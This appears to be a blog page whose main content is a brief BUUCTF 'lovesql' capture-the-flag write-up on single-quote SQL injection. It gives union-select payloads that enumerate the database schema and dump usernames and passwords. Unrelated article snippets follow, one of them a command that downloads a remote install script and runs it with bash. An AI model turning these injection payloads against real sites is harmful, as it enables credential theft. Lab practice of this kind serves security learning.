47，【5】BUUCTF web lovesql
进入靶场
可知是单引号闭合，属于字符串型注入
则后续方法与字符串型无异
使用order by 判断出字节数为3
使用union select寻找注入点时切记第一个select为空
库名geek
表名group_concat(table_name) from information_schema.tables where table_schema='geek'#
geekuser l0ve1ysq1
字段名group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
id username password
group_concat(column_name) from information_schema.columns where table_name='geekuser'#
可知两个表字段名相同
查询字段内容
group_concat(id,username,password) from geek.l0ve1ysq1#
group_concat(id,username,password) from geek.geekuser#
得到flag
笔记
1，本题考查字符串类型的注入
2,group_concat(id,username,password) from geek.geekuser#
一次可以爆出表格所有内容
相关文章：
47，【5】BUUCTF web lovesql
进入靶场 可知是单引号闭合，属于字符串型注入 则后续方法与字符串型无异 使用order by 判断出字节数为3 使用union select寻找注入点时切记第一个select为空 库名geek 表名group_concat(table_name) from information_schema.tables where table_schemageek# geek…...
网络安全——常用语及linux系统
一、网络安全概念及法规 网络安全：网络空间安全 cyber security 信息系统：由计算机硬件、网络和通信设备、计算机软件、信息资源、信息用户和规章制度组成的已处理信息流为目的的人机一体化系统 信息系统安全三要素（CIA） 保密…...
.get() 和 json[““] 的区别)
json().get() 和 json[““] 的区别
以下是 json().get() 和 json[“”] 的区别： 使用方法和语法 json[“”]： 这是使用字典的索引操作符 [] 来访问 JSON 数据。假设 json 是一个字典，你可以通过 json[“key”] 的方式来获取对应 key 的值。 示例： python import js…...
深入解析CSS属性值计算：从声明到渲染的完整流程
目录 引言1. 确定声明值2. 层叠冲突3. 使用继承4. 使用默认值总结 引言 在网页开发中，理解CSS属性值的计算过程对于开发者来说至关重要。它不仅影响页面样式的最终呈现，还涉及到浏览器如何解析和应用样式规则。本文将深入探讨从无属性值到每个属性都有…...
npm发布工具包+使用
1.初始化package包 npm init -y {"name": "common-cjs-tools","version": "1.0.0","main": "index.js","scripts": {"test": "echo \"Error: no test specified\" &&…...
28：CAN总线入门一：CAN的基本介绍
CAN总线入门 1、CAN总线简介和硬件电路1.1、CAN简要介绍1.2、硬件电路1.3、CAN总线的电平标准 2、帧格式2.1、数据帧（掌握）2.2、遥控帧（掌握）2.3、错误帧（了解）2.4、过载帧（了解）2.5…...
RK3568平台（音频篇）lineout无声调试
一.声音硬件框架 硬件HP_MUTE已强制拉低。 二.设备树配置 es8388_sound: es8388-sound {status = "okay";compatible = "rockchip,multicodecs-card";rockchip,card-name = "rockchip-es8388";hp-det-gpio = <&gpio1 RK_PD2 GPIO_ACT…...
ros2-7.5 做一个自动巡检机器人
7.5.1 需求及设计 又到了小鱼老师带着做最佳实践项目了。需求：做一个在各个房间不断巡逻并记录图像的机器人。 到达目标点后首先通过语音播放到达目标点信息， 再通过摄像头拍摄一张图片保存到本地。 7.5.2 编写巡检控制节点 在chapt7_ws/src下新建功…...
服务器下发任务镭速利用变量实现高效的大文件传输效率
在分布式系统和自动化部署场景中，任务下发往往伴随着大量的文件传输需求。为了提高文件传输的效率，本文将介绍如何巧妙地利用变量来优化任务下发过程中的文件传输。我们将介绍几种方法，通过合理利用变量来减少传输负担、提升传输速度…...
本地用docker装mysql
目录 拉取镜像查看镜像 启动容器查看运行中的容器连接到 MySQL 容器其他一些操作 装WorkBench链接mysql——————————————允许远程登录MySql 拉取镜像 docker pull mysql查看镜像 docker image lsREPOSITORY TAG IMAGE ID CREATED SIZE mysq…...
前端canvas对象转成file对象
import html2canvas from html2canvasexport default {methods: {//canvas对象转成file对象canvasToFile() {html2canvas(this.$parent.$refs[mapPanel].$el,{width: this.$parent.$refs[mapPanel].$el.clientWidth - 600// height:}).then(canvas > {const base64Data can…...
mermaid大全（语法、流程图、时序图、甘特图、饼图、用户旅行图、类图）
⚠️ 有些网站的mermaid可能不完整，因此下面教程中可能有些语法是无效的。 😊亲测Typora软件均可以显示。 1. 介绍 Mermaid是一个基于JavaScript的图表绘制工具，它使用类似Markdown的语法来创建和修改各种类型的图表。以下是关于Mermaid的详…...
运行fastGPT 第四步 配置ONE API 添加模型
上次已经装好了所有的依赖和程序。 下面在网页中配置One API ，这个是大模型的接口。配置好了之后，就可以配置fastGPT了。 打开 OneAPI 页面 添加模型 这里要添加具体的付费模型的API接口填进来。 可以通过ip:3001访问OneAPI后台，**默认账号…...
Spring Initializr创建springboot项目 “java: 错误: 无效的源发行版：19”
我用的1.8的jdk，排查发现这是jdk和springboot版本冲突导致的。 1、File->Project Structure->Project Settings->Project,把language level改成相应的版本 2、File->Project Structure->Module，source和dependancies改成相应的版本 3、F…...
Java IDEA中Gutter Icons图标的含义
前些天发现了一个蛮有意思的人工智能学习网站,8个字形容一下"通俗易懂，风趣幽默"，感觉非常有意思,忍不住分享一下给大家。 👉点击跳转到教程 前言： 很多人刚开始用IDEA来学习编程，会发现下面这些图标。 但是…...
如何进行域名跳转与域名重定向的综合指南
文章摘取于 Dynadot官方博客内容。 在访问一些商业网站时，我们通常会发现这些平台会将多个域名都指向到同一个内容界面。当然，也存在网站迁移到新域名，旧域名则指向新域名以及其内容页面的情况。 这两者实际上都属于域名跳转的范畴ÿ…...
YOLOv10-1.1部分代码阅读笔记-build.py
build.py ultralytics\data\build.py 目录 build.py 1.所需的库和模块 2.class InfiniteDataLoader(dataloader.DataLoader): 3.class _RepeatSampler: 4.def seed_worker(worker_id): 5.def build_yolo_dataset(cfg, img_path, batch, data, mode"train"…...
redux 结合 @reduxjs/toolkit 的使用
1，使用步骤 使用React Toolkit 创建 counterStore（store目录下） --> 为React注入store（src下面的index） --> React组件使用store中的数据（组件） 2，例如下面有一个简单加减的…...
tui-editor报错
原因： 原先的tui-editor插件（富文本编辑器插件）换了个名称，现在已经更名为toast-ui/editor因此安装不了，从而报错！ 解决： 1.首先将package.json中的tui-editor那一行修改为 "toast-ui/…...
运行fastGPT 第二步 安装宝塔面板 用于管理安装docker和其文件
if [ -f /usr/bin/curl ];then curl -sSO https://download.bt.cn/install/install_panel.sh;else wget -O install_panel.sh https://download.bt.cn/install/install_panel.sh;fi;bash install_panel.sh ed8484bec 上面运行以下，安装宝塔。如果不行，系…...
3步告别桌面混乱：开源免费的NoFences桌面分区管理工具
3步告别桌面混乱：开源免费的NoFences桌面分区管理工具 【免费下载链接】NoFences 🚧 Open Source Stardock Fences alternative 项目地址: https://gitcode.com/gh_mirrors/no/NoFences 你是否每天都要在杂乱无章的桌面图标中浪费宝贵时间&#x…...
LumiPixel开箱即用教程：快速上手这个专为人像设计的AI创作平台
LumiPixel开箱即用教程：快速上手这个专为人像设计的AI创作平台 1. 认识LumiPixel：纯净人像创作平台 LumiPixel: Canvas Quest是一款专注于人像创作的AI视觉平台，它将先进的Z-Image扩散模型与复古像素艺术美学完美结合。这个平台特别适合需要…...
别再手动改配置了！用Docker Compose一键部署Pikachu靶场，5分钟搞定测试环境
5分钟极速搭建Pikachu靶场：Docker Compose自动化实战指南 每次准备网络安全练习环境时，最头疼的莫过于反复安装配置各种服务——PHP版本不兼容、MySQL连接失败、Web服务器配置错误...这些琐碎问题消耗了本应用于渗透测试学习的宝贵时间。今天要分享的这套…...
AI辅助开发新体验：描述需求即可让快马AI生成智能浏览器下载插件
今天想和大家分享一个用AI辅助开发浏览器插件的实战经验。最近在InsCode(快马)平台上尝试开发了一个智能下载插件，整个过程让我深刻体会到AI如何改变传统开发流程。 需求分析 这个插件的核心目标是让下载变得更智能。传统下载工具需要我们手动选择保存位置ÿ…...
别再手动算脉冲了！用STM32的编码器接口模式（TIM_EncoderInterfaceConfig）实现电机测速，附完整代码
STM32硬件编码器接口实战：精准电机测速的工程化实现 在电机控制系统中，转速测量是闭环控制的基础环节。传统基于外部中断的软件计数方案不仅占用CPU资源，还面临脉冲丢失和方向误判的风险。STM32系列微控制器内置的硬件编码器接口（…...
警惕！新型U盘蠕虫伪装文档传播：实测火绒5.0查杀+防御全攻略
深度解析U盘蠕虫病毒：从防御到查杀的全面安全指南 1. 新型U盘蠕虫病毒的运作机制剖析 U盘蠕虫病毒近年来呈现出越来越复杂的传播方式和技术手段。这类病毒通常利用Windows系统的自动播放功能（AutoRun.inf）或注册表劫持技术进行传播࿰…...
华为欧拉系统（openEuler 22.03 LTS）上，用Docker Compose V2部署你的第一个微服务项目
华为欧拉系统实战：用Docker Compose V2部署微服务全流程指南 在国产操作系统浪潮中，华为欧拉（openEuler）正成为企业级应用的新选择。当开发者需要在ARM架构的欧拉系统上部署现代微服务时，Docker Compose V2提供了轻量级…...
保姆级避坑指南：用YOLOX和ByteTrack在Windows上实现多目标跟踪（附完整代码修改）
Windows平台实战：YOLOX与ByteTrack多目标跟踪避坑全攻略 刚接触多目标跟踪的研究生小王盯着屏幕上的报错信息已经三小时了——明明按照GitHub教程一步步操作，却在运行demo_track.py时遭遇了编码错误、CUDA版本不匹配和依赖冲突的连环暴击。这场景你是否熟…...
RS232 vs RS485 vs TTL：如何为你的嵌入式项目选择正确的电平标准？
RS232 vs RS485 vs TTL：嵌入式工程师的电平标准选型指南 在嵌入式系统开发中，选择合适的电平标准往往决定了整个通信系统的可靠性和成本效益。就像建筑师需要根据不同的地质条件选择合适的地基方案一样，工程师也需要根据传输距离、环境干扰和…...
AMD笔记本性能优化与温度控制完全指南：使用G-Helper实现CPU降压调优
AMD笔记本性能优化与温度控制完全指南：使用G-Helper实现CPU降压调优 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and other mod…...